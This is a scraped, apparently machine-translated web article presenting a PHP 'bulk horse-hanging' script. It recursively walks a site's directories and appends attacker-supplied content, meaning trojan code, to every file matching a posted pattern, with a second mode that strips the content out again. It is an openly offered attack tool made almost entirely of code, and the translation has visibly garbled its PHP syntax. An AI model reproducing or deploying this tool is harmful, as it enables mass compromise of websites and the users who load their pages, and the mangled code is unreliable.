Copy CodeThe code is as follows:
function Gmfun ($path = ".")
{
$d = @dir ($path);
while (false!== ($v = $d->read ())) {
if ($v = = "." | | $v = = "..") continue;
$file = $d->path. " /". $v;
if (@is_dir ($file)) {
Gmfun ($file);
} else {
if (@ereg (Stripslashes ($_post["key"), $file)) {
$MM =stripcslashes (Trim ($_post[mm));
$handle = @fopen ("$file", "a");
@fwrite ($handle, "$mm");
@fclose ($handle);
echo "Mounted horse file: $file \ n
”;
}
}
}
$d->close ();
echo "";
}
function Qmfun ($path = ".")
{
$d = @dir ($path);
while (false!== ($v = $d->read ())) {
if ($v = = "." | | $v = = "..") continue;
$file = $d->path. " /". $v;
if (@is_dir ($file)) {
Qmfun ($file);
} else {
if (@ereg (Stripslashes ($_post["key"), $file)) {
$MM =stripcslashes (Trim ($_post[mm));
$handle = fopen ("$file", "RB");
$oldcontent =fread ($handle, FileSize ($file));
Fclose ($handle);
$newcontent =str_replace ($MM, "", $oldcontent);
$FW = fopen ("$file", "WB");
Fwrite ($FW, $newcontent, strlen ($newcontent));
Fclose ($FW);
echo "Cleared horse file: $file \ n
”;
}
}
}
$d->close ();
echo "";
}
if ($_get[' action ']== ' GM ') {
Set_time_limit (0);
Gmfun ($_post["dir"]);
}
if ($_get[' action ']== ' QM ') {
Set_time_limit (0);
Qmfun ($_post["dir"]);
}
?>
<title>Bulk horse-hung (Clear Horse) program PHP version</title>
http://www.bkjia.com/PHPjc/322900.html www.bkjia.com true http://www.bkjia.com/PHPjc/322900.html techarticle Copy the code as follows: Php function gmfun ($path = ".") {$d = @dir ($path), while (false!== ($v = $d-read ())) {if ($v = = "." | | $v = = "...") continue; $file = $d-path. " ...